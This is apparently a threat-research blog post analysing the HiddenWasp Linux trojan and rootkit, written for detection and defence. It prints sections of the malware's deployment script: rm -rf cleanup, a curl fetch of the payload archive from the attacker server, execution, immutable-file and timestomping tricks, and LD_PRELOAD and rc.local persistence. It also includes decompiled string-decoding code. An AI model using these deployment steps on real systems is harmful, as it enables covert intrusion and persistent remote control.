# HiddenWasp Malware Stings Targeted Linux Systems

intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/

May 29, 2019



Written by Ignacio Sanmillan - 29 May 2019



#### Get Free Account

<u>Join Now</u>

#### **Top Blogs**

#### How to Write YARA Rules That Minimize False Positives

Generate Advanced YARA Rules Based on Code Reuse Incorporating YARA into daily security operations can... <u>Read more</u>

#### Boost Your SOC Skills: How to Detect Good Apps Gone Bad

Threat actors have a wide range of tools and techniques they can use in cyber... Read more

#### TeamTNT Cryptomining Explosion 📏

This post was originally published as a white paper in September 2021. Get the full... Read more

#### Overview

• Intezer has discovered a new, sophisticated malware that we have named "HiddenWasp", targeting Linux systems.

• The malware is still active and has a zero-detection rate in all major anti-virus systems.

• Unlike common <u>Linux malware</u>, HiddenWasp is not focused on crypto-mining or DDoS activity. It is a trojan purely used for **targeted remote control**.

• Evidence shows in high probability that the malware is used in targeted attacks for victims who are already under the attacker's control, or have gone through a heavy reconnaissance.

• HiddenWasp authors have adopted a large amount of code from various publicly available open-source malware, such as **Mirai** and the **Azazel rootkit**. In addition, there are some similarities between this malware and other **Chinese malware families**, however the attribution is made with low confidence.

• We have detailed our recommendations for preventing and responding to this threat.

#### 1. Introduction

Although the Linux threat ecosystem is crowded with IoT DDoS botnets and crypto-mining malware, it is not very common to spot trojans or backdoors in the wild.

Unlike Windows malware, Linux malware authors do not seem to invest too much effort writing their implants. In an open-source ecosystem there is a high ratio of publicly available code that can be copied and adapted by attackers.

In addition, Anti-Virus solutions for Linux tend to not be as resilient as in other platforms. Therefore, threat actors targeting Linux systems are less concerned about implementing excessive evasion techniques since even when reusing extensive amounts of code, threats can relatively manage to stay under the radar.

Nevertheless, malware with strong evasion techniques do exist for the Linux platform. There is also a high ratio of publicly available open-source malware that utilize strong evasion techniques and can be easily adapted by attackers.

We believe this fact is alarming for the security community since many implants today have very low detection rates, making these threats difficult to detect and respond to.

We have discovered further undetected Linux malware that appear to be enforcing advanced evasion techniques with the use of rootkits to leverage trojan-based implants.

In this blog we will present a **technical analysis** of each of the different components that this new malware, HiddenWasp, is composed of. We will also highlight interesting codereuse connections that we have observed to several open-source malware.

The following images are screenshots from VirusTotal of the newer undetected malware samples discovered:

$\bigcirc$	No engines detected this file		C	0 II A 0 II A 0 II A	$\approx$	*	X
/ 57 ? Community Score	Ofe1248ecab199bee383cef69f2de77d33b26 9ad1664127b366a4e745b1199c8 /private/tmp/libse1inux 64bits elf	<b>718.49 KB</b> Size	2019-04-04 1 month age	16:34:01	UTC	ELF	
$\bigcirc$	No engines detected this file		C	0 II A 0 II A 0 II A	$\approx$	<u>*</u>	X
( / 60 ( ) Community Score	d66bbbccd19587e67632585d0ac944e34e4d5fa2 b9f3bb3f900f517c7bbf518b libse1inux.so 64bits elf shared-lib	16.3 KB Size	<b>2019-04-0</b> 1 month a	4 16:37:4 go	2 UTC	ELF	

### 2. Technical Analysis

When we came across these samples we noticed that the majority of their code was unique:

C Unknown	libse1inux.so Unknown eif intel 80386	Unique Code This file contains a significant amount of unique code that was never seen before in any trusted or malicious software.	Image: SHA256:         Image: SHA256: <th image:<="" th=""><th></th></th>	<th></th>	
	ELF Code Reuse (38 Genes) Unique Edit Unknown –		38 Genes   100%		

La Suspicious	libse1inux           Suspicious         Suspicious           This file contains small amount of malicious genes. Therefore, it is recommended to further investigate the file in order to understand the true DNA.           eff         amd x86-64 architecture	SHA256:       Ofe1248ecab199bee383cef69f2de77d33b269ad1664127b366a4e745         virustotal       Report (0 / 57 Detections)
	ELF Code Reuse (1,028 Genes)	
	Elknot Edit Malware 2 Genes   0.19%	
	Punique Edit Unknown	939 Genes   91.34%

Similar to the recent Winnti Linux variants reported by <u>Chronicle</u>, the infrastructure of this malware is composed of a user-mode rootkit, a trojan and an initial deployment script. We will cover each of the three components in this post, analyzing them and their interactions with one another.

### 2.1 Initial Deployment Script:

When we spotted these undetected files in VirusTotal it seemed that among the uploaded artifacts there was a bash script along with a trojan implant binary.



We observed that these files were uploaded to VirusTotal using a path containing the name of a Chinese-based forensics company known as <u>Shen Zhou Wang Yun Information</u> <u>Technology Co., Ltd</u>.

Furthermore, the malware implants seem to be hosted in servers from a physical server hosting company known as ThinkDream located in Hong Kong.

Country	Hong Kong
Organization	ThinkDream Technology Limited
ISP	Kwai Cheong Rd Kwai Chung Nt Hongkong
Last Update	2019-05-22T13:40:34.750297
Hostnames	thinkdream.com
ASN	AS135026

## 103.206.123.13 thinkdream.com

Country	Hong Kong
Organization	ThinkDream Technology Limited
ISP	Kwai Cheong Rd Kwai Chung Nt Hongkong
Last Update	2019-05-21T22:54:34.512302
Hostnames	thinkdream.com
ASN	AS135026

Among the uploaded files, we observed that one of the files was a bash script meant to deploy the malware itself into a given compromised system, although it appears to be for testing purposes:



Thanks to this file we were able to download further artifacts not present in VirusTotal related to this campaign. This script will start by defining a set of variables that would be used throughout the script.



Among these variables we can spot the credentials of a user named 'sftp', including its hardcoded password. This user seems to be created as a means to provide initial persistence to the compromised system:



Furthermore, after the system's user account has been created, the script proceeds to clean the system as a means to update older variants if the system was already compromised:

```
44
46 if [ -f "$PIDFILE" ]
47 then
48
           PID=$(cat $PIDFILE)
           kill -9 $PID
50
           rm -rf $PIDFILE
51
           rm -rf $PROFILE
52
           rm -rf $TROFILE
53
           rm -rf $LIBPATH
54 fi
55
56 if [ -n $KVER ]
57 then
58
           kill -9 $KVER
59
           rm -rf $PIDFILE
60
           rm -rf $PROFILE
61
           rm -rf $TROFILE
62
           rm -rf $LIBPATH
63 fi
```

The script will then proceed to download a tar compressed archive from a download server according to the architecture of the compromised system. This tarball will contain all of the components from the malware, containing the rootkit, the trojan and an initial deployment script:

```
65 if [[ $VER =~ $BitX ]]
66 then
           curl http://$IPADDR:$PORT/configUpdate.tar.gz -so /tmp/configUpdate.tar.gz
68 else
           curl http://$IPADDR:$PORT/configUpdate-32.tar.gz -so /tmp/configUpdate.tar.gz
72 tar -zxvpf /tmp/configUpdate.tar.gz -C /tmp
73 rm -rf /tmp/configUpdate.tar.gz
74 chmod +x /tmp/libse1inux
75 chmod +x /tmp/libse1inux.a
76 chmod +x /tmp/libse1inux.so
77 if [ $(id -u) -ne 0 ]
78 then
           rm -rf /tmp/libse1inux.so
          rm -rf /tmp/libse1inux.a
           mv /tmp/libselinux /tmp/.bash
           /tmp/.bash
           exit
86 mv /tmp/libse1inux.so $LIBPATH
87 mv /tmp/libse1inux.a $PROFILE
88 mv /tmp/libse1inux $TROFILE
89 touch -acmr /bin/su $LIBPATH
90 touch -acmr /bin/su $PROFILE
91 touch -acmr /bin/su $TROFILE
92 chattr +i $TROFILE
93 chattr +i $PROFILE
94 chattr +i $LIBPATH
```

After malware components have been installed, the script will then proceed to execute the trojan:

```
97 I_AM_HIDDEN=a $TROFILE I_AM_HIDDEN
98 I_AM_HIDDEN=a nohup $PROFILE 2>/dev/null &
99 export LD_PRELOAD=$LD_PRELOAD:$LIBPATH
101 if ! grep -Fxq "$LIBPATH" /etc/profile
102 then
            sed -i "56iexport LD_PRELOAD=\$LD_PRELOAD:/lib/libse1inux.so" /etc/profile
103
104
            source /etc/profile
105 fi
106
107 if ! grep -Fxq "$PROEXE" /etc/rc.local
108 then
109
            if [ `grep -c "exit" /etc/rc.local` -ne 1 ]
110
            then
                    sed -i '$s/^exit.*$//g' /etc/rc.local
111
            fi
112
113
114
115
            echo $PROEXE >> /etc/rc.local
116
117 fi
118
119
120 unset I_AM_HIDDEN
121
```

We can see that the main trojan binary is executed, the rootkit is added to LD\_PRELOAD path and another series of environment variables are set such as the 'I\_AM\_HIDDEN'. We will cover throughout this post what the role of this environment variable is. To finalize, the script attempts to install reboot persistence for the trojan binary by adding it to /etc/rc.local.

Within this script we were able to observe that the main implants were downloaded in the form of tarballs. As previously mentioned, each tarball contains the main trojan, the rootkit and a deployment script for x86 and x86\_64 builds accordingly.

ulexec intezer 🔀 🗸	Documents $ angle$ $ angle$ ThreatIntel $ angle$ China $ angle$ HiddenWasp	\$ ⊧tar tvf	./configUpdate.tar.gz
-rw-rr root/root	735738 2019-04-02 11:57 libse1inux		
-rw-rr root/root	431 2018-11-29 05:46 libse1inux.a		
-rw-rr root/root	16696 2019-03-28 09:08 libse1inux.so		
ulexec intezer 🔀 🗠	ightarrow Documents $ ightarrow$ $ ightarrow$ ThreatIntel $ ightarrow$ China $ ightarrow$ HiddenWasp	\$ ▶ tar tvf	./configUpdate-32.tar.gz
-rw-rr root/root	708839 2019-05-20 13:22 libse1inux		
-rw-rr root/root	432 2018-11-29 05:45 libse1inux.a		
-rw-rr root/root	13212 2019-03-28 09:19 libse1inux.so		
ulexec intezer 🔪 ~	Documents $ angle$ $ angle$ ThreatIntel $ angle$ China $ angle$ HiddenWasp	\$	

The deployment script has interesting insights of further features that the malware implements, such as the introduction of a new environment variable 'HIDE\_THIS\_SHELL':

We found some of the environment variables used in a open-source rootkit known as <u>Azazel</u>.

```
#define HIDE_TERM_VAR "''' + xor("HIDE_THIS_SHELL=please") + '''"
#define HIDE_TERM_STR "''' + xor("HIDE_THIS_SHELL") + '''"
```

It seems that this actor changed the default environment variable from Azazel, that one being HIDE\_THIS\_SHELL for I\_AM\_HIDDEN. We have based this conclusion on the fact that the environment variable HIDE\_THIS\_SHELL was not used throughout the rest of the components of the malware and it seems to be residual remains from Azazel original code.

The majority of the code from the rootkit implants involved in this malware infrastructure are noticeably different from the original Azazel project. Winnti Linux variants are also known to have reused code from this open-source project.

#### 2.2 The Rootkit:

The rootkit is a user-space based rootkit enforced via LD\_PRELOAD linux mechanism.

It is delivered in the form of an ET\_DYN stripped ELF binary.

This shared object has an DT\_INIT dynamic entry. The value held by this entry is an address that will be executed once the shared object gets loaded by a given process:

Dvnamic section at c	offset 0x35a8 contains	s 21 entries:
Tag Type		Name/Value
0x000000000000000000000000000000000000	(NEEDED)	Shared library: [libdl.so.2]
0x00000000000000001	(NEEDED)	Shared library: [libc.so.6]
0x000000000000000c	(INIT)	0xac8
0x0000000000000000d	(FINI)	0x2cd8
0x000000006ffffef5	(GNU_HASH)	0x158
0x00000000000000005	(STRTAB)	0x6a0
0x00000000000000000	(SYMTAB)	0x238
0x0000000000000000	(STRSZ)	372 (bytes)
0x000000000000000000b	(SYMENT)	24 (bytes)
0x00000000000000003	(PLTGOT)	0x203750
0x00000000000000002	(PLTRELSZ)	384 (bytes)
0x0000000000000014	(PLTREL)	RELA
0x00000000000000017	(JMPREL)	0x948
0x00000000000000007	(RELA)	0x8b8
0x0000000000000008	(RELASZ)	144 (bytes)
0x0000000000000000	(RELAENT)	24 (bytes)
0x000000006ffffffe	(VERNEED)	0x878
0x000000006fffffff	(VERNEEDNUM)	
0x000000006fffff0	(VERSYM)	0x814
0x000000006ffffff9	(RELACOUNT)	
0x00000000000000000000	(NULL)	0x0

Within this function we can see that eventually control flow falls into a function in charge to resolve a set of dynamic imports, which are the functions it will later hook, alongside with decoding a series of strings needed for the rootkit operations.

	¥
🗾 🚄 😼	
mov	cs:dword_203820, 1
mov	esi, 8
lea	<pre>rdi, aUzbUuaw ; "uzB_UUAW"</pre>
call	copyalloc
mov	rdi, rax
mov	esi, 8
call	deobf
mov	[rbp+name], rax
mov	rsi, [rbp+name] ; name
mov	<pre>rdi, 0FFFFFFFFFFFFFFFF ; handle</pre>
call	_dlsym
mov	cs:fxstat_ptr, rax
mov	rdi, [rbp+name] ; ptr
call	_free
mov	esi, 0Ah
lea	<pre>rdi, aWtlWsgu ; "wtL]WSGU\x16\x17"</pre>
call	copyalloc
mov	rdi, rax
mov	esi, OAh
call	deobf
mov	[rbp+var_98], rax
 mov	rsi, [rbp+var_98] ; name
 mov	rdi, 0FFFFFFFFFFFFFFFF ; handle
call	_dlsym
mov	cs:fxstat64_ptr, rax
mov	rdi, [rbp+var_98] ; ptr
call	_tree
mov	es1, 8
lea	rdi, aUzhUuaw ; "uzH_UUAW"
call	copyalloc
mov	rdi, rax
mov	esi, ö

We can see that for each string it allocates a new dynamic buffer, it copies the string to it to then decode it.

It seems that the implementation for dynamic import resolution slightly varies in comparison to the one used in <u>Azazel</u> rootkit.

When we wrote the script to simulate the cipher that implements the string decoding function we observed the following algorithm:

deo	bfuscate_rootkit_strings.py+
1	<pre>def deobf(ciphertext, size):</pre>
2	plaintext = ''
3	ciphertext = list(ciphertext)
4	<pre>for i in range(size):</pre>
5	<pre>byte = ord(ciphertext[i])</pre>
6	byte ^= 0xde
7	byte ^= 0xad
8	byte ^= size - i
9	byte ^= 0xbe
10	byte ^= 0xef
11	plaintext += <mark>chr</mark> (byte)
12	<pre>return ''.join(plaintext)</pre>
13	

We recognized that a similar algorithm to the one above was used in the past by <u>Mirai</u>, implying that authors behind this rootkit may have ported and modified some code from Mirai.

```
static char *deobf(char *str, int *len)
 {
     int i;
     char *cpy;
     *len = util_strlen(str);
     cpy = malloc(*len + 1);
     util_memcpy(cpy, str, *len + 1);
     for (i = 0; i < *len; i++)</pre>
     {
         cpy[i] ^= 0xDE;
         cpy[i] ^= 0xAD;
         cpy[i] ^= 0xBE;
         cpy[i] ^= 0xEF;
     }
     return cpy;
 }
```

After the rootkit main object has been loaded into the address space of a given process and has decrypted its strings, it will export the functions that are intended to be hooked. We can see these exports to be the following:

Directio Tyj Address Text								
Directio	-1	Address	TEX	L				
🗯 Up	р	access+F	call	is_rootkit_environment_variable_is_set				
5 <b>2</b>	р	fopen+10	call	is_rootkit_environment_variable_is_set				
🗯 D	р	fopen64+10	call	is_rootkit_environment_variable_is_set				
🖼 D	р	readdir+C	call	is_rootkit_environment_variable_is_set				
🖼 D	р	readdir64+C	call	is_rootkit_environment_variable_is_set				
🖼 D	р	fxstat+12	call	is_rootkit_environment_variable_is_set				
🖼 D	р	fxstat64+12	call	is_rootkit_environment_variable_is_set				
🖼 D	р	_lxstat+13	call	is_rootkit_environment_variable_is_set				
🖼 D	р	_lxstat64+13	call	is_rootkit_environment_variable_is_set				
🖼 D	р	xstat+13	call	is_rootkit_environment_variable_is_set				
🖼 D	р	xstat64+13	call	is_rootkit_environment_variable_is_set				
🖼 D	р	fstat+F	call	is_rootkit_environment_variable_is_set				
🖼 D	р	fstat64+F	call	is_rootkit_environment_variable_is_set				
🖼 D	р	lstat+10	call	is_rootkit_environment_variable_is_set				
🖼 D	р	lstat64+10	call	is_rootkit_environment_variable_is_set				
🖼 D	р	stat+34	call	is_rootkit_environment_variable_is_set				
🖼 D	р	stat64+10	call	is_rootkit_environment_variable_is_set				
🖼 D	р	unlink+C	call	is_rootkit_environment_variable_is_set				
🖼 D	р	unlinkat+12	call	is_rootkit_environment_variable_is_set				

For every given export, the rootkit will hook and implement a specific operation accordingly, although they all have a similar layout. Before the original hooked function is called, it is checked whether the environment variable 'I\_AM\_HIDDEN' is set:



We can see an example of how the rootkit hooks the function fopen in the following screenshot:



We have observed that after checking whether the 'I\_AM\_HIDDEN' environment variable is set, it then runs a function to hide all the rootkits' and trojans' artifacts. In addition, specifically to the fopen function it will also check whether the file to open is '/proc/net/tcp' and if it is it will attempt to hide the malware's connection to the cnc by scanning every entry for the destination or source ports used to communicate with the cnc, in this case 61061. This is also the default port in <u>Azazel</u> rootkit.



The rootkit primarily implements artifact hiding mechanisms as well as tcp connection hiding as previously mentioned. Overall functionality of the rootkit can be illustrated in the following diagram:



#### 2.3 The Trojan:

The trojan comes in the form of a statically linked ELF binary linked with stdlibc++. We noticed that the trojan has code connections with ChinaZ's Elknot implant in regards to some common MD5 implementation in one of the statically linked libraries it was linked with:



In addition, we also see a high rate of shared strings with other known ChinaZ malware, reinforcing the possibility that actors behind HiddenWasp may have integrated and modified some MD5 implementation from Elknot that could have been shared in Chinese hacking forums:

	X	Generic Malware Edit Malware 32 Strings	
	X	Elknot Edit Malware 27 Strings	
	X	BillGates Edit Mahware 20 Strings	
	X	DNSAmp Edit Mahware 18 Strings	
	X	Elastic Edit Malware 16 Strings	
	X	ChaChaBot Edit Malware — 4 Strings	
	X	CoinMiner Edit Malware 2 Strings	
	?	Unique Edit Unknown 1,017 Strings	

When we analyze the main we noticed that the first action the trojan takes is to retrieve its configuration:

```
; int __cdecl main(int argc, const char **argv, const char **envp)
             public main
             main proc near
              var_148= qword ptr -148h
             var_13C= dword ptr -13Ch
envp= qword ptr -138h
argv= qword ptr -130h
              argc= dword ptr -124h
              worker= Worker ptr -120h
options= Options ptr -0C0h
propre= ProtectPreload ptr -81h
optval= Json::Value ptr -80h
var_60= Json::Value ptr -60h
              var_40= Json::Value ptr -40h
              user= byte ptr -19h
             h= qword ptr -18h
             push
                        rbp
             mov
                        rbp, rsp
             push
                        rbx
             sub
                        rsp, 148h
                        [rbp+argc], edi
[rbp+argv], rsi
[rbp+envp], rdx
rdi, [rbp+optval] ; this
esi, 0        ; Json::ValueType
_ZN4Json5ValueC1ENS_9ValueTypeE ; Json::Value::Value(Json::ValueType)
rem. [rbp=argr]
             mov
             mov
             mov
             lea
             mov
             call
                        mov
             mov
             lea
             call
             lea
             call
             test
                        short loc_413987
             jz
987:
_Z6WhoAmIv
[rbp+user], al
 [rbp+user],
```

The malware configuration is appended at the end of the file and has the following structure:

000b38c0:	6f6e	3556	616c	7565	3669	734e	756c	6c45	on5Value6isNullE	
000b38d0:	7600	7074	6872	6561	645f	6174	7472		v.pthread_attr_s	
000b38e0:	6574	6465	7461	6368	7374	6174	6540	4047	etdetachstate@@G	
000b38f0:		4243	5f32	2e32	2e35	005e	7531	3100	LIBC_2.2.5.null	
000b3900:	0000	786e	7531	318c	c284	d3e8	f008	241d	xnu11\$.	
000b3910:	126a	dba6	a4d9	fcef	017a	7b08	31d7	c684	.jz{.1	
000b3920:		b253	6b73		cfd6	f996	90b8	4072	Sks.;@r	
000b3930:	741d	352c	ca81	d5d1	f857	6471	0129	34db		
000b3940:	ae90	87dd	0301	2756	797d		c585	d416	'Vy}	
000b3950:	0f2a	5d73	24d4	f5e2	85b0	3234	6f0c	3d39	.*]s\$24o.=9	
000b3960:	c0ea	ec99	a44b	487e	0a13	24c0		8fba	KH~\$	 Configuration Size
000b3970:	5d38	3e48	572e	ceeb	f79f	aeb0	172e	3600	]8>HW6.	
000b3980:										 Magic Values
000b3990:										
000b39a0:										
000b39b0:										
000b39c0:										
000b39d0:	0000	0000	0000	0000	0000	0000	0000	0000		

The malware will try to load itself from the disk and parse this blob to then retrieve the static encrypted configuration.



Once encryption configuration has been successfully retrieved the configuration will be decoded and then parsed as json.

The cipher used to encode and decode the configuration is the following:



This cipher seems to be an RC4 alike algorithm with an already computed PRGA generated key-stream. It is important to note that this same cipher is used later on in the network communication protocol between trojan clients and their CNCs.

After the configuration is decoded the following json will be retrieved:



Moreover, if the file is running as root, the malware will attempt to change the default location of the dynamic linker's LD\_PRELOAD path. This location is usually at /etc/ld.so.preload, however there is always a possibility to patch the dynamic linker binary to change this path:



Patch\_ld function will scan for any existent /lib paths. The scanned paths are the following:

dq	offset	aLib ;	DATA XREF: get_ld_locations+211o
			get_ld_locations+3Dîr
			"/lib/"
dq	offset	aLibX86_64Linux	; "/lib/x86_64-linux-gnu/"
dq	offset	aLibI386LinuxGn	; "/lib/i386-linux-gnu/"
dq	offset	aLib32 ;	"/lib32/"
dq	offset	aLibx32 ;	"/libx32/"
dq	offset	aLib64 ;	"/lib64/"
db	0		
db	0		
db	•		

The malware will attempt to find the dynamic linker binary within these paths. The dynamic linker filename is usually prefixed with Id-<version number>.

	🚺 🗾 🚄 🖼	
	loc_41F	A96: loc_41FBB7:
	mov	rax, [rbp+var_20] mov rdi, [r
	add	rax, 13h call _closed
	mov	[rbp+var_D8], rax
	mov	<pre>[rbp+var_E0], offset aLd2 ; "ld-2"</pre>
	mov	$[rbp+var_E8], 4$
	cld	
	mov	rsi, [rbp+var_D8]
	mov	rdi, [rbp+var_E0]
	mov	rcx, [rbp+var_E8]
	repe cm	psb
	setnbe	dl
	setb	al .
	mov	ecx, edx
	sub	CI, al
	mov	eax, ecx
	movsx	eax, ai
	test	log 41ED99
	Jnz	100_41FB99
	<b>↓</b>	
🚄 🔛		
v	eax, [rbp+v	ar_34]
qe		loc_41FBC0
T	rax, 3	add [rbp+var_28], 8

Once the dynamic linker is located, the malware will find the offset where the /etc/ld.so.preload string is located within the binary and will overwrite it with the path of the new target preload path, that one being /sbin/.ifup-local.

; char *NEW_PREI	load		
NEW_PRELOAD	dq offset	aSbin_ifupLoc_0	
			DATA XREF: check_mpreload+Bîr check_mpreload+7Fîr "/sbin/.ifup-local"
· void *LTR PPEI	TOND.		,
LIB_PRELOAD	dq offset	aLibLibse1inu_0	
			DATA XREF: check_mpreload+39îr check_mpreload+78îr
_data	ends		"/lib/libselinux.so"

To achieve this patching it will execute the following formatted string by using the xxd hex editor utility by previously having encoded the path of the rootkit in hex:



Once it has changed the default LD\_PRELOAD path from the dynamic linker it will deploy a thread to enforce that the rootkit is successfully installed using the new LD\_PRELOAD path. In addition, the trojan will communicate with the rootkit via the environment variable

'I\_AM\_HIDDEN' to serialize the trojan's session for the rootkit to apply evasion mechanisms on any other sessions.



After seeing the rootkit's functionality, we can understand that the rootkit and trojan work together in order to help each other to remain persistent in the system, having the rootkit attempting to hide the trojan and the trojan enforcing the rootkit to remain operational. The following diagram illustrates this relationship:



Continuing with the execution flow of the trojan, a series of functions are executed to enforce evasion of some artifacts:



These artifacts are the following:

aProcHjggkfp	db '/proc/hjggkfp',0	;	DATA XREF: hiding_init+25To
			hiding_init+3F <sup>î</sup> o
; char aProcHid	eD[]		
aProcHideD	db '/proc/hide-%d',0		DATA XREF: hiding_hideproc+3AÎo
; char aProcUnh	ideD[]		
aProcUnhideD	db '/proc/unhide-%d',0		DATA XREF: hiding_unhideproc+3Aîo
; char aProcFul	lprivs[]		
aProcFullprivs	db '/proc/fullprivs',0		DATA XREF: hiding_makeroot+16îo
_			hiding_makeroot+2C10
; char aProcUni	nstall[]		
aProcUninstall	db '/proc/uninstall',0		DATA XREF: hiding_uninstall+16to

By performing some OSINT regarding these artifact names, we found that they belong to a Chinese open-source rootkit for Linux known as <u>Adore-ng</u> hosted in GitHub:

```
*/
int adore_makeroot(adore_t *a)
                                                            /* make visible again */
{
                                                            int adore_unhideproc(adore_t *a, pid_t pid)
       /* now already handled by adore_init() */
                                                             {
       close(open(APREFIX"/fullprivs", 0_RDWR|0_CREAT, 0));
                                                                    char buf[1024];
       unlink(APREFIX"/fullprivs");
       if (geteuid() != 0)
                                                                    if (pid == 0)
               return -1;
                                                                            return -1:
       return 0;
                                                                    sprintf(buf, APREFIX"/unhide-%d", pid);
}
                                                                    close(open(buf, 0_RDWR|0_CREAT, 0));
                                                                    unlink(buf):
          int adore_hideproc(adore_t *a, pid_t pid)
                                                                    return 0;
          {
                                                            }
                  char buf[1024];
                                                            int adore uninstall(adore t *a)
                 if (pid == 0)
                                                            {
                                                                    close(open(APREFIX"/uninstall", 0_RDWR|0_CREAT, 0));
                         return -1;
                                                                    return 0;
                  sprintf(buf, APREFIX"/hide-%d", pid);
                                                            }
                  close(open(buf, 0 RDWR|0 CREAT, 0));
                 unlink(buf);
                 return 0;
          }
```

The fact that these artifacts are being searched for suggests that potentially targeted Linux systems by these implants may have already been compromised with some variant of this open-source rootkit as an additional artifact in this malware's infrastructure. Although those paths are being searched for in order to hide their presence in the system, it is important to note that none of the analyzed artifacts related to this malware are installed in such paths.

This finding may imply that the target systems this malware is aiming to intrude may be already known compromised targets by the same group or a third party that may be collaborating with the same end goal of this particular campaign.

Moreover, the trojan communicated with a simple network protocol over TCP. We can see that when connection is established to the Master or Stand-By servers there is a handshake mechanism involved in order to identify the client.



With the help of this function we where able to understand the structure of the communication protocol employed. We can illustrate the structure of this communication protocol by looking at a pcap of the initial handshake between the server and client:

00000	900	75	5 63	3 65	5 73	3											uces
000000	904	00	9 01	41	1	0 04	4 eo	: f5	c5	85	5 es	5 Ot	o Ok	0 69	9 Oe	3f	6eAi.?n
000000	914	01	с <u>Б</u>	) <sub>a</sub>	da	a fa	a 1a	a Of	28	14	4 33	3 28	a 86	b b	b6	d8	fd(.3*
000000	924	12	2 68	3 60	1 01	2 03	3 28	3 8f									m(.)
00000000	75	63	65	73	90	01	a2										uces
00000007	50	44	ZC	85													[D, .
0000000B	85	c5	b8	dc	c3	ef	11	2f	35	Θd	22	7a	cb	91	d4	ca	/ 5."z
0000001B	e3	13	3c	3c	58	75	6d	c6	80	c4	d6	ea	5a	5b	68	5e	< <xumz[h^< th=""></xumz[h^<>
0000002B	7d	6c	83	f4	93	8a	c5	08	Θc	26	54	70	c2	90	ae	d9	}1&Tp
0000003B	e7	12	04	23	52	02	33	d3	af	a1	d9	fb	Θa	12	72	15	#R.3r.
0000004B	00	5f	81	b3	af	cf	f9	ad	20	16	19	1e	2f	c5	ba	f2	
0000005B	d2	ad	e1	58	36	Θd	45	6a	91	c3	d4	fb	82	f9	e6	5e	X6.Ej^
0000006B	64	06	1d	27	9c	83	fc	d1	aa	b7	Θc	3a	23	Θ8	3f	d9	d'#.?.
0000007B	b0	bf	d9	f5	e9	1f	77	Θa	7c	37	c7	c4	fe	81	93	a4	w. 7
0000008B	42	6a	7d	00	24	2e	d9	e4	8b	81	a0	57	Θa	35	5f	73	Bj}.\$W.5_s
0000009B	63	84	fe	f1	c4	ed	1f	09	27	57	39	3e	се	ad	86	91	c 'W9>
000000AB	cf	4f	56	69	18	3f	52	9c	b8	aa	c8	fc	56	2b	1e	53	.0Vi.?RV+.S
000000BB	6d	7b	99	b6	ac	89	ae	5f	2a	26	56	54	72	d2	ad	a1	m{ *&VTr
000000CB	df	e5	16	Θ7	3f	1a	17	22	c5	e5	e8	9f	b5	bΘ	5d	7e	]~
000000DB	5b	40	60	93	ad	a1	d2	ba	ab	0e	20	57	4b	74	9c	a1	[@` WKt
000000EB	a6	d4	eb	b5	5f	7a	21	44	76	СС	d7	e1	85	ac	b6	59	z!D vY
000000FB	79	6a	4c	77	9f	c5	b8	d2	d2	fa	1b	34	2a	Θd	21	dΘ	yjLw4*.!.
0000010B	d4	fe	89	82	a3	21	3f	33	41	6c	74	c9	e5	95	97	a3	!?3 Alt
0000011B	46	72	79	07	6f	61	9e	ba	c9	d3	bc	51	48	6a	10	2d	Fry.oaQHj
0000012B	3d	93	e7	87	86	a1	4e	4d	7d	18	4b	8d	ad	af	de	e6	=NM }.K
0000013B	5c	36	03	67	00	4f	83	b3	e3	e1	f4	0c	47	61	0c	02	\6.g.0Ga
0000014B	3a	c6	e6	f7	99	ad	b1	5b	72	6e	70	4e	d5	ec	f7	81	:[ rnpN
0000015B	a0	de	05	76	11	04	5b	85	98	8a	a8	dc	b6	d4	01	37	v[7
0000016B	4b	4e	7e	8b	8f	e9	8e	bf	са	96	36	34	52	31	86	c8	KN~
		-			-	~~	~			~~	~~	1		-		101	0.0
	Env	-	tod				anie			Po	con	bo	_		Met	hod	Cipher Table
_	Pav	/loa	d				ayıt			Re	Serv	eu			wiei	nou	Offset

We noticed while analyzing this protocol that the Reserved and Method fields are always constant, those being 0 and 1 accordingly. The cipher table offset represents the offset in the hardcoded key-stream that the encrypted payload was encoded with. The following is the fixed keystream this field makes reference to:



After decrypting the traffic and analyzing some of the network related functions of the trojan, we noticed that the communication protocol is also implemented in json format. To show this, the following image is the decrypted handshake packets between the CNC and the trojan:



After the handshake is completed, the trojan will proceed to handle CNC requests:



Depending on the given requests the malware will perform different operations accordingly. An overview of the trojan's functionalities performed by request handling are shown below:

_ZN12FileOpration8CopyFileESsSs
_ZN12FileOpration13NewUploadFileEN4Json5ValueER5Param
_ZN12FileOpration6UploadERSsR5Param
_ZN12FileOpration11GetFileDataEN4Json5ValueEjR5Param
_ZTV12FileOpration
_ZN12FileOpration12ShowFileListESsR5Param
_ZN12FileOpration18BreakPointDownloadEN4Json5ValueEjR5Param
_ZN12FileOpration13MoveOrCopyDirESsSsSs
_ZN12FileOpration16OrdinaryDownloadEN4Json5ValueEjR5Param
_ZN12FileOpration9RemoveDirESs
_ZN12FileOpration6handleEPKc
_ZTI12FileOpration
_ZN12FileOpration10RemoveFileESs
_ZN12FileOprationC1Ev
_ZTS12FileOpration
_ZN12FileOpration15File2CopyOrMoveEN4Json5ValueE
12FileOpration
_ZTV7Command
_ZN7Command16ExecuteScriptCMDEPKcR5Param
_ZN7CommandC1Ev
_ZN7Command10ExecuteCMDEPKcR5Param
_ZN7Command11InputScriptERSs
_ZTI7Command
_ZN7Command6handleEPKc
_ZTS7Command

#### 2.3. Prevention and Response

**Prevention:** Block Command-and-Control IP addresses detailed in the IOCs section.

**Response:** We have provided a <u>YARA rule</u> intended to be run against in-memory artifacts in order to be able to detect these implants.

In addition, in order to check if your system is infected, you can search for "Id.so" files — if any of the files do not contain the string '/etc/Id.so.preload', your system may be compromised. This is because the trojan implant will attempt to patch instances of Id.so in order to enforce the LD\_PRELOAD mechanism from arbitrary locations.

#### 4. Summary

We analyzed every component of HiddenWasp explaining how the rootkit and trojan implants work in parallel with each other in order to enforce persistence in the system.

We have also covered how the different components of HiddenWasp have adapted pieces of code from various open-source projects. Nevertheless, these implants managed to remain undetected.

Linux malware may introduce new challenges for the security community that we have not yet seen in other platforms. The fact that this malware manages to stay under the radar should be a wake up call for the security industry to allocate greater efforts or resources to detect these threats.

Linux malware will continue to become more complex over time and currently even common threats do not have high detection rates, while more sophisticated threats have even lower visibility.

#### IOCs

